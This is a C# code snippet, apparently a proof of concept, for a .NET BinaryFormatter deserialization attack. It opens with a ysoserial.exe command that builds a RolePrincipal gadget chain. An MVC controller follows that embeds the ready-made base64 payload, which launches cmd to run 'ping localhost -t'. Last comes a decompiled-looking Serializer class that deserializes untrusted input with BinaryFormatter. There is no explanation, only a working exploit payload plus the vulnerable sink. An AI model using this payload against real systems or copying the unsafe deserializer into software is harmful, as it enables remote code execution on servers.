ysoserial.exe -f binaryformatter -g  RolePrincipal --minify -c "ping localhost -t"

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Text;
using System.Web;
using System.Web.Mvc;

namespace WebApplication1.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            var payload = HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(
                "AAEAAAD/////AQAAAAAAAAAMAgAAAEpTeXN0ZW0uV2ViLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAAIVN5c3RlbS5XZWIuU2VjdXJpdHkuUm9sZVByaW5jaXBhbAEAAAAqU3lzdGVtLlNlY3VyaXR5LkNsYWltc1ByaW5jaXBhbC5JZGVudGl0aWVzAQIAAAAGAwAAANgFQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFCdE5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSUZBUUFBQUVKTmFXTnliM052Wm5RdVZtbHpkV0ZzVTNSMVpHbHZMbFJsZUhRdVJtOXliV0YwZEdsdVp5NVVaWGgwUm05eWJXRjBkR2x1WjFKMWJsQnliM0JsY25ScFpYTUJBQUFBRDBadmNtVm5jbTkxYm1SQ2NuVnphQUVDQUFBQUJnTUFBQUNIQXp4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlIaHRiRzV6UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkM5d2NtVnpaVzUwWVhScGIyNGlJSGh0Ykc1ek9tRTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJK1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0OFlUcFFjbTlqWlhOelBqeGhPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQanhoT2xCeWIyTmxjM05UZEdGeWRFbHVabThnUVhKbmRXMWxiblJ6UFNJdll5QndhVzVuSUd4dlkyRnNhRzl6ZENBdGRDSWdSbWxzWlU1aGJXVTlJbU50WkNJdlBqd3ZZVHBRY205alpYTnpMbE4wWVhKMFNXNW1iejQ4TDJFNlVISnZZMlZ6Y3o0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0OEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNqNEwL"));
            Response.Write(payload);
            return View();
        }
    }

    public class Serializer
    {
        // Token: 0x06000295 RID: 661 RVA: 0x0000B64C File Offset: 0x0000984C
        public static string Serialize(object parameters)
        {
            string result;
            using (MemoryStream memoryStream = new MemoryStream())
            {
                new BinaryFormatter().Serialize(memoryStream, parameters);
                result = Base64Helper.Base64Encode(memoryStream.ToArray());
            }

            return result;
        }

        // Token: 0x06000295 RID: 661 RVA: 0x0000B7E8 File Offset: 0x000099E8
        public static T Deserialize<T>(string serializedObject)
        {
            T result;
            using (Stream stream = new MemoryStream(Base64Helper.Base64Decode(serializedObject)))
            {
                result = (T) ((object) new BinaryFormatter().Deserialize(stream));
            }

            return result;
        }
    }

    internal class Base64Helper
    {
        // Token: 0x060002AC RID: 684 RVA: 0x0000C819 File Offset: 0x0000AA19
        public static string Base64Encode(byte[] str)
        {
            return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
        }

        // Token: 0x060002AD RID: 685 RVA: 0x0000C830 File Offset: 0x0000AA30
        public static byte[] Base64Decode(string str)
        {
            byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
            return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
        }
    }
}